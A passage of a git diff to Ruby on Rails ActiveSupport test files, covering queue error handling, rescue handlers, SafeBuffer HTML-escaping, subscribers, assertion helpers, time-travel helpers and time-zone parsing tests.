- test "logger defaults to stderr" do
- begin
- $stderr, old_stderr = StringIO.new, $stderr
- queue = ActiveSupport::Queue.new
- queue.push Job.new { raise "RuntimeError: Error!" }
- consume_queue queue
- assert_match 'Job Error', $stderr.string
- ensure
- $stderr = old_stderr
- end
- end
-
- test "test overriding exception handling" do
- @queue.consumer.instance_eval do
- def handle_exception(job, exception)
- @last_error = exception.message
- end
-
- def last_error
- @last_error
- end
- end
-
- job = Job.new { raise "RuntimeError: Error!" }
-
- @queue.push job
- consume_queue @queue
-
- assert_equal "RuntimeError: Error!", @queue.consumer.last_error
- end
-
- private
- def consume_queue(queue)
- queue.push nil
- queue.consumer.consume
- end
-end
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
index 3f8d09c18e..b8af888f7c 100644
--- a/activesupport/test/rescuable_test.rb
+++ b/activesupport/test/rescuable_test.rb
@@ -21,7 +21,7 @@ class Stargate
rescue_from WraithAttack, :with => :sos
- rescue_from NuclearExplosion do
+ rescue_from 'NuclearExplosion' do
@result = 'alldead'
end
@@ -93,14 +93,13 @@ class RescuableTest < ActiveSupport::TestCase
def test_rescues_defined_later_are_added_at_end_of_the_rescue_handlers_array
expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon"]
- result = @stargate.send(:rescue_handlers).collect {|e| e.first}
+ result = @stargate.send(:rescue_handlers).collect(&:first)
assert_equal expected, result
end
- def test_children_should_inherit_rescue_defintions_from_parents_and_child_rescue_should_be_appended
+ def test_children_should_inherit_rescue_definitions_from_parents_and_child_rescue_should_be_appended
expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "CoolError"]
- result = @cool_stargate.send(:rescue_handlers).collect {|e| e.first}
+ result = @cool_stargate.send(:rescue_handlers).collect(&:first)
assert_equal expected, result
end
-
end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 047b89be2a..efa9d5e61f 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -140,4 +140,29 @@ class SafeBufferTest < ActiveSupport::TestCase
# should still be unsafe
assert !y.html_safe?, "should not be safe"
end
+
+ test 'Should work with interpolation (array argument)' do
+ x = 'foo %s bar'.html_safe % ['qux']
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should work with interpolation (hash argument)' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should escape unsafe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>' }
+ assert_equal 'foo &lt;br/&gt; bar', x
+ end
+
+ test 'Should not escape safe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>'.html_safe }
+ assert_equal 'foo <br/> bar', x
+ end
+
+ test 'Should interpolate to a safe string' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert x.html_safe?, 'should be safe'
+ end
end
diff --git a/activesupport/test/security_utils_test.rb b/activesupport/test/security_utils_test.rb
new file mode 100644
index 0000000000..08d2e3baa6
--- /dev/null
+++ b/activesupport/test/security_utils_test.rb
@@ -0,0 +1,9 @@
+require 'abstract_unit'
+require 'active_support/security_utils'
+
+class SecurityUtilsTest < ActiveSupport::TestCase
+ def test_secure_compare_should_perform_string_comparison
+ assert ActiveSupport::SecurityUtils.secure_compare('a', 'a')
+ assert !ActiveSupport::SecurityUtils.secure_compare('a', 'b')
+ end
+end
diff --git a/activesupport/test/spec_type_test.rb b/activesupport/test/spec_type_test.rb
deleted file mode 100644
index 9a6cb4ded2..0000000000
--- a/activesupport/test/spec_type_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require "abstract_unit"
-require "active_record"
-
-class SomeRandomModel < ActiveRecord::Base; end
-
-class SpecTypeTest < ActiveSupport::TestCase
- def assert_support actual
- assert_equal ActiveSupport::TestCase, actual
- end
-
- def assert_spec actual
- assert_equal MiniTest::Spec, actual
- end
-
- def test_spec_type_resolves_for_active_record_constants
- assert_support MiniTest::Spec.spec_type(SomeRandomModel)
- end
-
- def test_spec_type_doesnt_resolve_random_strings
- assert_spec MiniTest::Spec.spec_type("Unmatched String")
- end
-end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
index 94d5fe197d..a2ed577eb0 100644
--- a/activesupport/test/string_inquirer_test.rb
+++ b/activesupport/test/string_inquirer_test.rb
@@ -10,7 +10,7 @@ class StringInquirerTest < ActiveSupport::TestCase
end
def test_miss
- refute @string_inquirer.development?
+ assert_not @string_inquirer.development?
end
def test_missing_question_mark
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
new file mode 100644
index 0000000000..a88d8d9eba
--- /dev/null
+++ b/activesupport/test/subscriber_test.rb
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+require 'active_support/subscriber'
+
+class TestSubscriber < ActiveSupport::Subscriber
+ attach_to :doodle
+
+ cattr_reader :events
+
+ def self.clear
+ @@events = []
+ end
+
+ def open_party(event)
+ events << event
+ end
+
+ private
+
+ def private_party(event)
+ events << event
+ end
+end
+
+# Monkey patch subscriber to test that only one subscriber per method is added.
+class TestSubscriber
+ remove_method :open_party
+ def open_party(event)
+ events << event
+ end
+end
+
+class SubscriberTest < ActiveSupport::TestCase
+ def setup
+ TestSubscriber.clear
+ end
+
+ def test_attaches_subscribers
+ ActiveSupport::Notifications.instrument("open_party.doodle")
+
+ assert_equal "open_party.doodle", TestSubscriber.events.first.name
+ end
+
+ def test_attaches_only_one_subscriber
+ ActiveSupport::Notifications.instrument("open_party.doodle")
+
+ assert_equal 1, TestSubscriber.events.size
+ end
+
+ def test_does_not_attach_private_methods
+ ActiveSupport::Notifications.instrument("private_party.doodle")
+
+ assert_equal [], TestSubscriber.events
+ end
+end
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
index dfe9f3c11c..5e852c8050 100644
--- a/activesupport/test/test_case_test.rb
+++ b/activesupport/test/test_case_test.rb
@@ -1,118 +1,221 @@
require 'abstract_unit'
-module ActiveSupport
- class TestCaseTest < ActiveSupport::TestCase
- class FakeRunner
- attr_reader :puked
-
- def initialize
- @puked = []
+class AssertDifferenceTest < ActiveSupport::TestCase
+ def setup
+ @object = Class.new do
+ attr_accessor :num
+ def increment
+ self.num += 1
end
- def puke(klass, name, e)
- @puked << [klass, name, e]
+ def decrement
+ self.num -= 1
end
+ end.new
+ @object.num = 0
+ end
+
+ def test_assert_not
+ assert_equal true, assert_not(nil)
+ assert_equal true, assert_not(false)
+
+ e = assert_raises(Minitest::Assertion) { assert_not true }
+ assert_equal 'Expected true to be nil or false', e.message
+
+ e = assert_raises(Minitest::Assertion) { assert_not true, 'custom' }
+ assert_equal 'custom', e.message
+ end
+
+ def test_assert_no_difference_pass
+ assert_no_difference '@object.num' do
+ # ...
+ end
+ end
- def options
- nil
+ def test_assert_no_difference_fail
+ error = assert_raises(Minitest::Assertion) do
+ assert_no_difference '@object.num' do
+ @object.increment
end
+ end
+ assert_equal "\"@object.num\" didn't change by 0.\nExpected: 0\n Actual: 1", error.message
+ end
- def record(*args)
+ def test_assert_no_difference_with_message_fail
+ error = assert_raises(Minitest::Assertion) do
+ assert_no_difference '@object.num', 'Object Changed' do
+ @object.increment
end
end
+ assert_equal "Object Changed.\n\"@object.num\" didn't change by 0.\nExpected: 0\n Actual: 1", error.message
+ end
- def test_standard_error_raised_within_setup_callback_is_puked
- tc = Class.new(TestCase) do
- def self.name; nil; end
+ def test_assert_difference
+ assert_difference '@object.num', +1 do
+ @object.increment
+ end
+ end
- setup :bad_callback
- def bad_callback; raise 'oh noes' end
- def test_true; assert true end
- end
+ def test_assert_difference_with_implicit_difference
+ assert_difference '@object.num' do
+ @object.increment
+ end
+ end
- test_name = 'test_true'
- fr = FakeRunner.new
+ def test_arbitrary_expression
+ assert_difference '@object.num + 1', +2 do
+ @object.increment
+ @object.increment
+ end
+ end
- test = tc.new test_name
- test.run fr
- klass, name, exception = *fr.puked.first
+ def test_negative_differences
+ assert_difference '@object.num', -1 do
+ @object.decrement
+ end
+ end
- assert_equal tc, klass
- assert_equal test_name, name
- assert_equal 'oh noes', exception.message
+ def test_expression_is_evaluated_in_the_appropriate_scope
+ silence_warnings do
+ local_scope = local_scope = 'foo'
+ assert_difference('local_scope; @object.num') { @object.increment }
end
+ end
- def test_standard_error_raised_within_teardown_callback_is_puked
- tc = Class.new(TestCase) do
- def self.name; nil; end
+ def test_array_of_expressions
+ assert_difference [ '@object.num', '@object.num + 1' ], +1 do
+ @object.increment
+ end
+ end
- teardown :bad_callback
- def bad_callback; raise 'oh noes' end
- def test_true; assert true end
+ def test_array_of_expressions_identify_failure
+ assert_raises(Minitest::Assertion) do
+ assert_difference ['@object.num', '1 + 1'] do
+ @object.increment
end
+ end
+ end
- test_name = 'test_true'
- fr = FakeRunner.new
+ def test_array_of_expressions_identify_failure_when_message_provided
+ assert_raises(Minitest::Assertion) do
+ assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
+ @object.increment
+ end
+ end
+ end
+end
- test = tc.new test_name
- test.run fr
- klass, name, exception = *fr.puked.first
+class AlsoDoingNothingTest < ActiveSupport::TestCase
+end
- assert_equal tc, klass
- assert_equal test_name, name
- assert_equal 'oh noes', exception.message
- end
+# Setup and teardown callbacks.
+class SetupAndTeardownTest < ActiveSupport::TestCase
+ setup :reset_callback_record, :foo
+ teardown :foo, :sentinel
- def test_passthrough_exception_raised_within_test_method_is_not_rescued
- tc = Class.new(TestCase) do
- def self.name; nil; end
+ def test_inherited_setup_callbacks
+ assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:raw_filter)
+ assert_equal [:foo], @called_back
+ assert_equal [:foo, :sentinel], self.class._teardown_callbacks.map(&:raw_filter)
+ end
- def test_which_raises_interrupt; raise Interrupt; end
- end
+ def setup
+ end
+
+ def teardown
+ end
- test_name = 'test_which_raises_interrupt'
- fr = FakeRunner.new
+ protected
- test = tc.new test_name
- assert_raises(Interrupt) { test.run fr }
+ def reset_callback_record
+ @called_back = []
end
- def test_passthrough_exception_raised_within_setup_callback_is_not_rescued
- tc = Class.new(TestCase) do
- def self.name; nil; end
+ def foo
+ @called_back << :foo
+ end
- setup :callback_which_raises_interrupt
- def callback_which_raises_interrupt; raise Interrupt; end
- def test_true; assert true end
- end
+ def sentinel
+ assert_equal [:foo], @called_back
+ end
+end
- test_name = 'test_true'
- fr = FakeRunner.new
+class SubclassSetupAndTeardownTest < SetupAndTeardownTest
+ setup :bar
+ teardown :bar
- test = tc.new test_name
- assert_raises(Interrupt) { test.run fr }
+ def test_inherited_setup_callbacks
+ assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:raw_filter)
+ assert_equal [:foo, :bar], @called_back
+ assert_equal [:foo, :sentinel, :bar], self.class._teardown_callbacks.map(&:raw_filter)
+ end
+
+ protected
+ def bar
+ @called_back << :bar
+ end
+
+ def sentinel
+ assert_equal [:foo, :bar, :bar], @called_back
end
+end
- def test_passthrough_exception_raised_within_teardown_callback_is_not_rescued
- tc = Class.new(TestCase) do
- def self.name; nil; end
+class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
+ def before_setup
+ require 'stringio'
+ @out = StringIO.new
+ self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
+ super
+ end
- teardown :callback_which_raises_interrupt
- def callback_which_raises_interrupt; raise Interrupt; end
- def test_true; assert true end
- end
+ def test_logs_tagged_with_current_test_case
+ assert_match "#{self.class}: #{name}\n", @out.string
+ end
+end
- test_name = 'test_true'
- fr = FakeRunner.new
+class TestOrderTest < ActiveSupport::TestCase
+ def setup
+ @original_test_order = ActiveSupport::TestCase.test_order
+ end
- test = tc.new test_name
- assert_raises(Interrupt) { test.run fr }
- end
+ def teardown
+ ActiveSupport::TestCase.test_order = @original_test_order
+ end
- def test_pending_deprecation
- assert_deprecated do
- pending "should use #skip instead"
- end
+ def test_defaults_to_sorted_with_warning
+ ActiveSupport::TestCase.test_order = nil
+
+ assert_equal :sorted, assert_deprecated { ActiveSupport::TestCase.test_order }
+
+ # It should only produce a deprecation warning the first time this is accessed
+ assert_equal :sorted, assert_not_deprecated { ActiveSupport::TestCase.test_order }
+ assert_equal :sorted, assert_not_deprecated { ActiveSupport.test_order }
+ end
+
+ def test_test_order_is_global
+ ActiveSupport::TestCase.test_order = :random
+
+ assert_equal :random, ActiveSupport.test_order
+ assert_equal :random, ActiveSupport::TestCase.test_order
+ assert_equal :random, self.class.test_order
+ assert_equal :random, Class.new(ActiveSupport::TestCase).test_order
+
+ ActiveSupport.test_order = :sorted
+
+ assert_equal :sorted, ActiveSupport.test_order
+ assert_equal :sorted, ActiveSupport::TestCase.test_order
+ assert_equal :sorted, self.class.test_order
+ assert_equal :sorted, Class.new(ActiveSupport::TestCase).test_order
+ end
+
+ def test_i_suck_and_my_tests_are_order_dependent!
+ ActiveSupport::TestCase.test_order = :random
+
+ klass = Class.new(ActiveSupport::TestCase) do
+ i_suck_and_my_tests_are_order_dependent!
end
+
+ assert_equal :alpha, klass.test_order
+ assert_equal :random, ActiveSupport::TestCase.test_order
end
end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
deleted file mode 100644
index 9516556844..0000000000
--- a/activesupport/test/test_test.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'abstract_unit'
-
-class AssertDifferenceTest < ActiveSupport::TestCase
- def setup
- @object = Class.new do
- attr_accessor :num
- def increment
- self.num += 1
- end
-
- def decrement
- self.num -= 1
- end
- end.new
- @object.num = 0
- end
-
- def test_assert_no_difference
- assert_no_difference '@object.num' do
- # ...
- end
- end
-
- def test_assert_difference
- assert_difference '@object.num', +1 do
- @object.increment
- end
- end
-
- def test_assert_difference_with_implicit_difference
- assert_difference '@object.num' do
- @object.increment
- end
- end
-
- def test_arbitrary_expression
- assert_difference '@object.num + 1', +2 do
- @object.increment
- @object.increment
- end
- end
-
- def test_negative_differences
- assert_difference '@object.num', -1 do
- @object.decrement
- end
- end
-
- def test_expression_is_evaluated_in_the_appropriate_scope
- silence_warnings do
- local_scope = local_scope = 'foo'
- assert_difference('local_scope; @object.num') { @object.increment }
- end
- end
-
- def test_array_of_expressions
- assert_difference [ '@object.num', '@object.num + 1' ], +1 do
- @object.increment
- end
- end
-
- def test_array_of_expressions_identify_failure
- assert_raises(MiniTest::Assertion) do
- assert_difference ['@object.num', '1 + 1'] do
- @object.increment
- end
- end
- end
-
- def test_array_of_expressions_identify_failure_when_message_provided
- assert_raises(MiniTest::Assertion) do
- assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
- @object.increment
- end
- end
- end
-end
-
-class AssertBlankTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
- NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
- def test_assert_blank_true
- BLANK.each { |v| assert_blank v }
- end
-
- def test_assert_blank_false
- NOT_BLANK.each { |v|
- begin
- assert_blank v
- fail 'should not get to here'
- rescue Exception => e
- assert_match(/is not blank/, e.message)
- end
- }
- end
-end
-
-class AssertPresentTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
- NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
- def test_assert_present_true
- NOT_BLANK.each { |v| assert_present v }
- end
-
- def test_assert_present_false
- BLANK.each { |v|
- begin
- assert_present v
- fail 'should not get to here'
- rescue Exception => e
- assert_match(/is blank/, e.message)
- end
- }
- end
-end
-
-class AlsoDoingNothingTest < ActiveSupport::TestCase
-end
-
-# Setup and teardown callbacks.
-class SetupAndTeardownTest < ActiveSupport::TestCase
- setup :reset_callback_record, :foo
- teardown :foo, :sentinel, :foo
-
- def test_inherited_setup_callbacks
- assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:raw_filter)
- assert_equal [:foo], @called_back
- assert_equal [:foo, :sentinel, :foo], self.class._teardown_callbacks.map(&:raw_filter)
- end
-
- def setup
- end
-
- def teardown
- end
-
- protected
-
- def reset_callback_record
- @called_back = []
- end
-
- def foo
- @called_back << :foo
- end
-
- def sentinel
- assert_equal [:foo, :foo], @called_back
- end
-end
-
-
-class SubclassSetupAndTeardownTest < SetupAndTeardownTest
- setup :bar
- teardown :bar
-
- def test_inherited_setup_callbacks
- assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:raw_filter)
- assert_equal [:foo, :bar], @called_back
- assert_equal [:foo, :sentinel, :foo, :bar], self.class._teardown_callbacks.map(&:raw_filter)
- end
-
- protected
- def bar
- @called_back << :bar
- end
-
- def sentinel
- assert_equal [:foo, :bar, :bar, :foo], @called_back
- end
-end
-
-
-class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
- def before_setup
- require 'stringio'
- @out = StringIO.new
- self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
- super
- end
-
- def test_logs_tagged_with_current_test_case
- tagged_logger.info 'test'
- assert_equal "[#{self.class.name}] [#{__name__}] test\n", @out.string
- end
-end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index 19280ba74a..0f16419c8b 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -1,15 +1,16 @@
require 'abstract_unit'
+require 'dependencies_test_helpers'
class Foo; end
class Bar < Foo
def index; end
def self.index; end
end
-class Baz < Bar; end
module FooBar; end
class ConstantLookupTest < ActiveSupport::TestCase
include ActiveSupport::Testing::ConstantLookup
+ include DependenciesTestHelpers
def find_foo(name)
self.class.determine_constant_from_test_name(name) do |constant|
@@ -56,4 +57,20 @@ class ConstantLookupTest < ActiveSupport::TestCase
assert_nil find_module("DoesntExist::Nadda::Nope")
assert_nil find_module("DoesntExist::Nadda::Nope::NotHere")
end
+
+ def test_does_not_swallow_exception_on_no_method_error
+ assert_raises(NoMethodError) {
+ with_autoloading_fixtures {
+ self.class.determine_constant_from_test_name("RaisesNoMethodError")
+ }
+ }
+ end
+
+ def test_does_not_swallow_exception_on_no_name_error_within_constant
+ assert_raises(NameError) do
+ with_autoloading_fixtures do
+ self.class.determine_constant_from_test_name('RaisesNameError')
+ end
+ end
+ end
end
diff --git a/activesupport/test/testing/performance_test.rb b/activesupport/test/testing/performance_test.rb
deleted file mode 100644
index 6918110cce..0000000000
--- a/activesupport/test/testing/performance_test.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'abstract_unit'
-
-module ActiveSupport
- module Testing
- class PerformanceTest < ActiveSupport::TestCase
- begin
- require 'active_support/testing/performance'
- HAVE_RUBYPROF = true
- rescue LoadError
- HAVE_RUBYPROF = false
- end
-
- def setup
- skip "no rubyprof" unless HAVE_RUBYPROF
- end
-
- def test_amount_format
- amount_metric = ActiveSupport::Testing::Performance::Metrics[:amount].new
- assert_equal "0", amount_metric.format(0)
- assert_equal "1", amount_metric.format(1.23)
- assert_equal "40,000,000", amount_metric.format(40000000)
- end
-
- def test_time_format
- time_metric = ActiveSupport::Testing::Performance::Metrics[:time].new
- assert_equal "0 ms", time_metric.format(0)
- assert_equal "40 ms", time_metric.format(0.04)
- assert_equal "41 ms", time_metric.format(0.0415)
- assert_equal "1.23 sec", time_metric.format(1.23)
- assert_equal "40000.00 sec", time_metric.format(40000)
- assert_equal "-5000 ms", time_metric.format(-5)
- end
-
- def test_space_format
- space_metric = ActiveSupport::Testing::Performance::Metrics[:digital_information_unit].new
- assert_equal "0 Bytes", space_metric.format(0)
- assert_equal "0 Bytes", space_metric.format(0.4)
- assert_equal "1 Byte", space_metric.format(1.23)
- assert_equal "123 Bytes", space_metric.format(123)
- assert_equal "123 Bytes", space_metric.format(123.45)
- assert_equal "12 KB", space_metric.format(12345)
- assert_equal "1.2 MB", space_metric.format(1234567)
- assert_equal "9.3 GB", space_metric.format(10**10)
- assert_equal "91 TB", space_metric.format(10**14)
- assert_equal "910000 TB", space_metric.format(10**18)
- end
-
- def test_environment_format_without_rails
- metric = ActiveSupport::Testing::Performance::Metrics[:time].new
- benchmarker = ActiveSupport::Testing::Performance::Benchmarker.new(self, metric)
- assert_equal "#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL},#{RUBY_PLATFORM}", benchmarker.environment
- end
-
- def test_environment_format_with_rails
- rails, version = Module.new, Module.new
- version.const_set :STRING, "4.0.0"
- rails.const_set :VERSION, version
- Object.const_set :Rails, rails
-
- metric = ActiveSupport::Testing::Performance::Metrics[:time].new
- benchmarker = ActiveSupport::Testing::Performance::Benchmarker.new(self, metric)
- assert_equal "rails-4.0.0,#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL},#{RUBY_PLATFORM}", benchmarker.environment
- ensure
- Object.send :remove_const, :Rails
- end
- end
- end
-end
diff --git a/activesupport/test/time_travel_test.rb b/activesupport/test/time_travel_test.rb
new file mode 100644
index 0000000000..065539671d
--- /dev/null
+++ b/activesupport/test/time_travel_test.rb
@@ -0,0 +1,72 @@
+require 'abstract_unit'
+require 'active_support/core_ext/date'
+require 'active_support/core_ext/numeric/time'
+
+class TimeTravelTest < ActiveSupport::TestCase
+ setup do
+ Time.stubs now: Time.now
+ end
+
+ teardown do
+ travel_back
+ end
+
+ def test_time_helper_travel
+ expected_time = Time.now + 1.day
+ travel 1.day
+
+ assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+ assert_equal expected_time.to_date, Date.today
+ end
+
+ def test_time_helper_travel_with_block
+ expected_time = Time.now + 1.day
+
+ travel 1.day do
+ assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+ assert_equal expected_time.to_date, Date.today
+ end
+
+ assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db)
+ assert_not_equal expected_time.to_date, Date.today
+ end
+
+ def test_time_helper_travel_to
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+ travel_to expected_time
+
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ def test_time_helper_travel_to_with_block
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+ travel_to expected_time do
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ assert_not_equal expected_time, Time.now
+ assert_not_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ def test_time_helper_travel_back
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+ travel_to expected_time
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ travel_back
+
+ assert_not_equal expected_time, Time.now
+ assert_not_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ def test_travel_to_will_reset_the_usec_to_avoid_mysql_rouding
+ travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do
+ assert_equal 50, Time.now.sec
+ assert_equal 0, Time.now.usec
+ end
+ end
+end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 9c3b5d0667..3e6d9652bb 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -1,7 +1,10 @@
require 'abstract_unit'
require 'active_support/time'
+require 'time_zone_test_helpers'
class TimeZoneTest < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
def test_utc_to_local
zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
@@ -19,7 +22,7 @@ class TimeZoneTest < ActiveSupport::TestCase
assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
end
- ActiveSupport::TimeZone::MAPPING.keys.each do |name|
+ ActiveSupport::TimeZone::MAPPING.each_key do |name|
define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
zone = ActiveSupport::TimeZone[name]
assert_respond_to zone.tzinfo, :period_for_local
@@ -89,14 +92,65 @@ class TimeZoneTest < ActiveSupport::TestCase
end
def test_today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ travel_back
+ end
+
+ def test_tomorrow
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_back
+ end
+
+ def test_yesterday
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_back
+ end
+
+ def test_travel_to_a_date
+ with_env_tz do
+ Time.use_zone('Hawaii') do
+ date = Date.new(2014, 2, 18)
+ time = date.midnight
+
+ travel_to date do
+ assert_equal date, Date.current
+ assert_equal time, Time.current
+ end
+ end
+ end
+ end
+
+ def test_travel_to_travels_back_and_reraises_if_the_block_raises
+ ts = Time.current - 1.second
+
+ travel_to ts do
+ raise
+ end
+
+ flunk # ensure travel_to re-raises
+ rescue
+ assert_not_equal ts, Time.current
end
def test_local
@@ -203,6 +257,15 @@ class TimeZoneTest < ActiveSupport::TestCase
assert_equal Time.utc(1999,12,31,19), twz.time
end
+ def test_parse_with_day_omitted
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal Time.local(2000, 2, 1), zone.parse('Feb', Time.local(2000, 1, 1))
+ assert_equal Time.local(2005, 2, 1), zone.parse('Feb 2005', Time.local(2000, 1, 1))
+ assert_equal Time.local(2005, 2, 2), zone.parse('2 Feb 2005', Time.local(2000, 1, 1))
+ end
+ end
+
def test_parse_should_not_black_out_system_timezone_dst_jump
with_env_tz('EET') do
zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
@@ -232,6 +295,22 @@ class TimeZoneTest < ActiveSupport::TestCase
assert_equal Time.utc(2012, 5, 28, 7, 0, 0), twz.utc
end
+ def test_parse_doesnt_use_local_dst
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['UTC']
+ twz = zone.parse('2013-03-10 02:00:00')
+ assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+ end
+ end
+
+ def test_parse_handles_dst_jump
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('2013-03-10 02:00:00')
+ assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+ end
+ end
+
def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
tzinfo = TZInfo::Timezone.get('America/New_York')
zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
@@ -340,12 +419,4 @@ class TimeZoneTest < ActiveSupport::TestCase
assert ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Hawaii"])
assert !ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Kuala Lumpur"])
end
-
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
